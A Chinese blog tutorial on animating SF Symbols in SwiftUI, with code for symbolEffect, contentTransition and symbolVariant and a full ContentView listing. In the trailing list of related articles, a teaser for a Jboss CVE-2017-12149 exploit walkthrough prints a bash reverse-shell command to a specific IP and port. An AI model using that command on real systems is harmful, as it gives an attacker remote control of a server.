SwiftUI 中如何花样玩转 SF Symbols 符号动画和过渡特效

news2024/9/22 1:00:08

在这里插入图片描述

概述

作为 Apple 开发中的全栈秃头老码农们,我们不但需要精通代码编写更需要有过硬的界面设计艺术功底。为了解决撸码与撸图严重脱节这一窘境,苹果从 iOS 13(macOS 11)开始引入了 SF Symbols 字符图形。

在这里插入图片描述

有了 SF Symbols,我们现在可以从系统内置“千姿百态”的图形字符库中毫不费力的恣意选取心爱的图像来装扮我们的 App 了。我们还可以更进一步为它们添加优美流畅的动画效果。

在本篇博文中,您将学到如下内容:

  • 概述
  • 1. 符号动画,小菜一碟!
  • 2. 自动触发动画
  • 3. 更顺畅的符号过渡特效
  • 4. 所见即所得:SF Symbols App
  • 5. 完整源代码
  • 总结

在 WWDC 24 中,苹果携手全新的 SF Symbols 6.0 昂首阔步而来,让小伙伴们的生猛撸码愈发如虎添翼。

那还等什么呢?让我们马上开始玩转符号动画之旅吧!

Let’s go!!!


1. 符号动画,小菜一碟!

SF Symbols 是兼容 Apple 多个平台的一套系统、完整、优美的图形字符库。从伴随着 SwiftUI 1.0(iOS 13)横空出世那年算起,到现在已经进化到 SF Symbols 6.0 版本了。

在这里插入图片描述

它的 Apple 官方界面在此: SF Symbols,大家可以前去观赏其中的细枝末节。

目前,最新的 SF Symbols 6.0 内置了超过 6000 枚风格各异的图形字符,等待着小伙伴们的顽皮“采摘”。

SF Symbols 字符库不仅仅包含静态字符图像,我们同样可以在 SwiftUI 和 UIKit 中轻松将其升华为鲜活的动画(Animations)和过渡(Transitions)效果。

下面,我们在 SwiftUI 中仅用一个 symbolEffect() 视图修改器即让字符栩栩如生了:

Image(systemName: "airpodspro.chargingcase.wireless.radiowaves.left.and.right.fill")
    .symbolEffect(.wiggle, options: .repeat(.continuous))

在这里插入图片描述

我们还可以恣意改变动画的种类,比如从 wiggle 改为 variableColor 效果:

Image(systemName: "airpodspro.chargingcase.wireless.radiowaves.left.and.right.fill")
    .symbolEffect(.variableColor, options: .repeat(.continuous))

在这里插入图片描述

我们甚至可以更进一步,细粒度定制 variableColor 动画效果的微妙细节:

Image(systemName: "airpodspro.chargingcase.wireless.radiowaves.left.and.right.fill")
    .symbolEffect(.variableColor.cumulative, options: .repeat(.continuous))

在这里插入图片描述

2. 自动触发动画

除了一劳永逸的让动画重复播放以外,我们还可以自动地根据 SwiftUI 视图中的状态来触发对应的动画。

如下代码所示,只要 animTrigger 状态发生改变,我们就播放 wiggle 动画 2 次(每次间隔 2 秒):

VStack {
    Image(systemName: "bell.circle")
        .resizable()
        .aspectRatio(contentMode: .fit)
        .symbolRenderingMode(.hierarchical)
        .frame(width: 150)
        .symbolEffect(.wiggle, options: .repeat(.periodic(2, delay: 2)), value: animTrigger)

    Button("触发动画") {
        animTrigger.toggle()
    }
}

在这里插入图片描述

我们还可以用 symbolEffect() 修改器的另一个重载版本,来手动控制动画的开始和停止:

VStack {
    Image(systemName: "airpodspro.chargingcase.wireless.radiowaves.left.and.right.fill")
        .resizable()
        .aspectRatio(contentMode: .fit)
        .frame(width: 150)
        .symbolEffect(.wiggle, options: .repeat(.continuous), isActive: animPlaying)
    
    Button(animPlaying ? "停止动画" : "开始动画") {
        animPlaying.toggle()
    }
}

在这里插入图片描述

如上代码所示,当 animPlaying 状态为真时我们播放动画,当它为假时则停止动画。

3. 更顺畅的符号过渡特效

SF Symbols 字符图形库除了提供变幻莫测的海量动画以外,还弥补了强迫症码农们对于不同字符切换过渡时僵硬、不自然的“心结”。

比如,在下面的代码中我们根据 notificationsEnabled 是否开启,切换显示了不同的图形字符:

@State var notificationsEnabled = false

Image(systemName: notificationsEnabled ? "bell" : "bell.slash")
    .resizable()
    .aspectRatio(contentMode: .fit)
    .frame(width: 66)

但是,这样做却释放出一些“行尸走肉”的气息,让用户非常呲楞:

在这里插入图片描述

所幸的是,利用 contentTransition() 视图修改器我们可以将其变得行云流水、一气呵成:

Image(systemName: notificationsEnabled ? "bell" : "bell.slash")
    .resizable()
    .aspectRatio(contentMode: .fit)
    .contentTransition(.symbolEffect(.replace))
    .frame(width: 66)

在这里插入图片描述

我们还可以用 symbolVariant() 修改器来重构上面的代码,效果保持不变:

Image(systemName: "bell")
    .resizable()
    .aspectRatio(contentMode: .fit)
    .symbolVariant(!notificationsEnabled ? .slash : .none )
    .contentTransition(.symbolEffect(.replace))
    .frame(width: 66)

通过 symbolRenderingMode() 修改器,我们还能在过渡特效基础之上再应用字符的其它特殊渲染效果,比如分层:

Image(systemName: notificationsEnabled ? "bell" : "bell.slash")
	.resizable()
	.aspectRatio(contentMode: .fit)
	.symbolRenderingMode(.hierarchical)
	.contentTransition(.symbolEffect(.replace))
	.frame(width: 66)

在这里插入图片描述

当然,如果我们愿意的话同样可以更加细粒度地定制过渡的类型(downUp):

Image(systemName: "bell")
    .resizable()
    .aspectRatio(contentMode: .fit)
    .symbolVariant(!notificationsEnabled ? .slash : .none )
    .symbolRenderingMode(.hierarchical)
    .contentTransition(.symbolEffect(.replace.downUp))
    .frame(width: 66)

在这里插入图片描述

4. 所见即所得:SF Symbols App

上面我们介绍了 SF Symbs 动画和过渡中诸多“妙计和花招”。

不过平心而论,某个或者某几个字符可能更适合某些特定的动画和过渡效果,那我们怎么才能用最快的速度找到它们最佳的动画“伴侣”呢?

除了通过撸码经验和 SF Symbols 官方文档以外,最快的方法恐怕就是使用 macOS 上的 SF Symbols App 了:

在这里插入图片描述

我们可以在 https://developer.apple.com/sf-symbols 下载 SF Symbols App。

还拿上面第一个例子中的字符来举例,我们可以在 SF Symbols App 中随意为它应用各种动画效果,直到满意为止:

在这里插入图片描述

我们再如法炮制换一个 AirPods “把玩”一番:

在这里插入图片描述

至此,我们完全掌握了 SwiftUI 中 SF Symbols 符号的动画和过渡特效,小伙伴们一起享受这干脆利落、丝般顺滑的灵动风味吧!’


更多 Swift 深入系统的学习,请小伙伴们到我的《Swift语言开发精讲》专栏来逛一逛吧:

在这里插入图片描述

  • Swift 语言开发精讲

5. 完整源代码

本文对应的全部源代码在此,欢迎品尝:

import SwiftUI

struct ContentView: View {
    
    @State var notificationsEnabled = false
    @State var animPlaying = false
    @State var animTrigger = false
    
    var body: some View {
        NavigationStack {
            Form {
                LabeledContent(content: {
                    Image(systemName: notificationsEnabled ? "bell" : "bell.slash")
                        .resizable()
                        .aspectRatio(contentMode: .fit)
                        .frame(width: 66)
                    
                }, label: {
                    Text("生硬的过渡")
                })
                .frame(height: 100)
                
                LabeledContent(content: {
                    //Image(systemName: notificationsEnabled ? "bell" : "bell.slash")
                    Image(systemName: "bell")
                        .resizable()
                        .aspectRatio(contentMode: .fit)
                        .symbolVariant(!notificationsEnabled ? .slash : .none )
                        .contentTransition(.symbolEffect(.replace))
                        .frame(width: 66)
                    
                }, label: {
                    Text("流畅的过渡")
                })
                .frame(height: 100)
                
                LabeledContent(content: {
                    Image(systemName: notificationsEnabled ? "bell" : "bell.slash")
                        .resizable()
                        .aspectRatio(contentMode: .fit)
                        .symbolRenderingMode(.hierarchical)
                        .contentTransition(.symbolEffect(.replace))
                        .frame(width: 66)
                        
                    
                }, label: {
                    Text("按层过渡")
                })
                .frame(height: 100)
                
                LabeledContent(content: {
                    //Image(systemName: notificationsEnabled ? "bell" : "bell.slash")
                    Image(systemName: "bell")
                        .resizable()
                        .aspectRatio(contentMode: .fit)
                        .symbolVariant(!notificationsEnabled ? .slash : .none )
                        .symbolRenderingMode(.hierarchical)
                        .contentTransition(.symbolEffect(.replace.downUp))
                        .frame(width: 66)
                        
                    
                }, label: {
                    Text("downUP 按层过渡")
                })
                .frame(height: 100)
                
                HStack {
                    VStack {
                        Image(systemName: "airpodspro.chargingcase.wireless.radiowaves.left.and.right.fill")
                            .resizable()
                            .aspectRatio(contentMode: .fit)
                            .frame(width: 150)
                            .symbolEffect(.wiggle, options: .repeat(.continuous), isActive: animPlaying)
                        
                        Button(animPlaying ? "停止动画" : "开始动画") {
                            animPlaying.toggle()
                        }
                    }
                    
                    VStack {
                        Image(systemName: "bell.circle")
                            .resizable()
                            .aspectRatio(contentMode: .fit)
                            .symbolRenderingMode(.hierarchical)
                            .frame(width: 150)
                            .symbolEffect(.wiggle, options: .repeat(.periodic(2, delay: 2)), value: animTrigger)

                        Button("触发动画") {
                            animTrigger.toggle()
                        }
                    }
                }
                .buttonStyle(.borderless)
                .frame(height: 100)
                .padding()
            }
            .font(.title2)
            .navigationTitle("符号动画与过渡演示")
            .toolbar {
                
                ToolbarItem(placement: .topBarLeading) {
                    Text("大熊猫侯佩 @ \(Text("CSDN").foregroundStyle(.red.gradient))")
                        .foregroundStyle(.gray)
                        .font(.headline.weight(.heavy))
                }
                
                ToolbarItem(placement: .primaryAction) {
                    Button("开启或关闭通知") {
                        withAnimation {
                            notificationsEnabled.toggle()
                        }
                    }
                }
            }
        }
    }
}

#Preview {
    ContentView()
}

总结

在本篇博文中,我们讨论了如何在 SwiftUI 中花样玩转 SF Symbols 符号动画和过渡特效的各种“姿势”,我们最后还介绍了 macOS 中 SF Symbols App 的“拔刀相助”让撸码更加轻松!

感谢观赏,再会了!😎

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115562.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【 html+css 绚丽Loading 】000043 太一玄元镜

前言:哈喽,大家好,今天给大家分享htmlcss 绚丽Loading!并提供具体代码帮助大家深入理解,彻底掌握!创作不易,如果能帮助到大家或者给大家一些灵感和启发,欢迎收藏关注哦 &#x1f495…

ANSA联合ABAQS基于梁单元的螺栓预紧力分析实例

1、在螺栓孔之间创建一个模拟螺栓 ABAQUS界面→AUXILIARIES→bolt→分鳖选择上下两圈节点,这样在螺栓孔中间就会生成一个梁单元。 中键确定,因为螺杆使用的是变形体,所以接下来需要为其创建一个属性: 单击ok,完成虚拟螺栓的创建,该螺栓两端是刚性MPC,中间是弹性的梁单元…

Jboss远程代码执行漏洞(CVE-2017-12149)

还是先开启环境 浏览器访问跟上一个一模一样页面 还是用ysoserial.jar工具 然后准备好反弹shell的命令,需要对其进行base64加密 //反弹shell命令,注意替换为自己的 bash -i >& /dev/tcp/192.168.75.162/6666 0>&1 //base64加密 YmFzaCAt…

git:分支管理

目录 一、分支概念 二、创建分支 三、切换分支 四、合并分支 五、删除分支 六、合并冲突 七、分支管理策略 八、分支策略 九、bug分支 十、强制删除分支 一、分支概念 在版本回退里,每次提交,git都把它们串成一条时间线,这条时间线可以…

基于51单片机的倒计时定时器proteus仿真

地址: https://pan.baidu.com/s/1_Ig_S0KKrba9VAjovDW71g 提取码:1234 仿真图: 芯片/模块的特点: AT89C52/AT89C51简介: AT89C52/AT89C51是一款经典的8位单片机,是意法半导体(STMicroelectr…

【Hot100】LeetCode—215. 数组中的第K个最大元素

目录 1- 思路快速选择 2- 实现⭐215. 数组中的第K个最大元素——题解思路 3- ACM实现 原题连接:215. 数组中的第K个最大元素 1- 思路 快速选择 第 k 大的元素的数组下标: int target nums.length - k 1- 根据 partition 分割的区间来判断当前处理方式…

Spring表达式语言(SPEL)(05)

表达式模板 表达式模板允许将文字文本与一个或多个评估块混合。每个评估块都由前缀和后缀字符分隔,默认是#{}。支持实现接口ParserContext自定义前后缀。调用parseExpression()时指定 ParserContext参数如:new TemplateParserContext(),#{}包…

还不会剪音乐?试试这四款在线音频剪辑

音频剪辑很多人都没有接触过。其实这并不是一个难事,我们甚至可以用一些简单的工具来给自己做个简单的BGM,最近我尝试了几款不同的音频剪辑工具。今天就来跟大家分享一下我的使用体验,看看哪款工具更适合你的需求。 一、福昕音频剪辑 网址&…

通信工程学习:什么是FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用

FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用 FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用是通信领域中常见的四种复用技术,它们各自具有不同的特点和应用场景。以下是对这四种复用技术的详细解释: 一、FDM频分复用(Frequ…

AIGC6: 走进腾讯数字盛会

图中是一个程序员,去参加一个技术盛会。AI大潮下,五颜六色,各种不确定。 背景 AI对各行各业的冲击越来越大,身处职场的我也能清晰的感受到。 我所在的行业为全球客服外包行业。 业务模式为: 为国际跨境公司提供不同…

强推!创新直发核心!时序分解+优化组合+模型对比!VMD-SSA-Transformer-BiLSTM多变量时间序列预测

强推!创新直发核心!时序分解优化组合模型对比!VMD-SSA-Transformer-BiLSTM多变量时间序列预测 目录 强推!创新直发核心!时序分解优化组合模型对比!VMD-SSA-Transformer-BiLSTM多变量时间序列预测效果一览基…

kubernetes集群部署Zabbix监控平台

一、zabbix介绍 1.zabbix简介 Zabbix是一个基于Web界面的分布式系统监控的企业级开源软件。可以监视各种系统与设备的参数,保障服务器及设备的安全运营。 2.zabbix特点 (1)安装与配置简单。 (2)可视化web管理界面。 &a…

【超简单】1分钟解决ppt全文字体一键设置

省流 ppt的全部字体需要在“幻灯片母版”里面,“自定义字体”去设置好标题与正文的字体之后才算全部设置完毕 “视图”---“幻灯片母版” 找到“字体”---“自定义字体” 设置好中文和西文的字体,都可以按照自己的选择来,保存即可 吐槽 之…

【路径规划】一种用于控制约束高维非线性系统的神经路径规划算法

摘要 本研究提出了一种神经路径规划算法,用于解决高维非线性系统在约束条件下的控制问题。该方法结合了人工神经网络(ANN)和快速随机树(RRT)算法,通过神经网络对复杂系统的动态进行建模,并使用…

万物皆可“浮动”(补充)——WEB开发系列33

​​float​​ 属性最初的设计目的是在文本块内使图像浮动,从而让文字环绕在图像的左右两侧,这种效果在报纸版面中很常见。随着时间的推移,这一属性已成为网页设计中实现多列布局的常用工具。最开始,​​float​​ 主要用于在文本…

YOLOv8改进 | 检测头篇 | YOLOv8引入DynamicHead检测头

1. DynamicHead描述 1.1 摘要:在目标检测中,定位和分类相结合的复杂性导致了各种方法的蓬勃发展。以往的工作试图提高各种目标检测头的性能,但未能呈现出统一的观点。本文根据目标检测的特点,推导了一种新的动态头部框架,将目标检测头部与注意力统一起来。该方法通过在特…

物联网之ESP32开发板简介、Arduino

MENU ESP32开发板ESP32开发方式Arduino是什么 ESP32开发板 ESP32是一款国产芯片,芯片专为移动设备、可穿戴设备与物联网应用而设计,集成了低功耗蓝牙和Wi-Fi。这也是为什么ESP32在DIY爱好者中备受推崇的原因。 序号功能1复位按键2MicroUSB接口&#xff…

如何给3D人物换衣服CC4

1.导入人物 2.设置人物Apose 3.导入衣服 create -> accessory 选择fbx文件 设置衣服的大小和位置。 4.绑定衣服 设置衣服的权重 添加动作就可以看效果了。

神仙公司名单(北京)

神仙公司(北京) 接着奏乐接着舞,神仙公司系列。 这次写之前几期评论区呼声极高的城市:北京。 北京,是许多人外出打工的梦想之都,是年轻人逃离农村的终点站。 在近两年的就业蓝皮书「外省籍毕业生占比较高城…

移动互联网背景下营销模式的探索与分析

摘要:本文深入探讨在移动互联网蓬勃发展的背景下的营销理念变革。详细分析品牌对效果的承诺、转化周期的多元性以及品效合一的实现途径。同时重点引入“链动 2 1 模式 AI 智能名片 S2B2C 商城小程序源码”相关元素,深入挖掘其在营销领域的应用潜力与价值…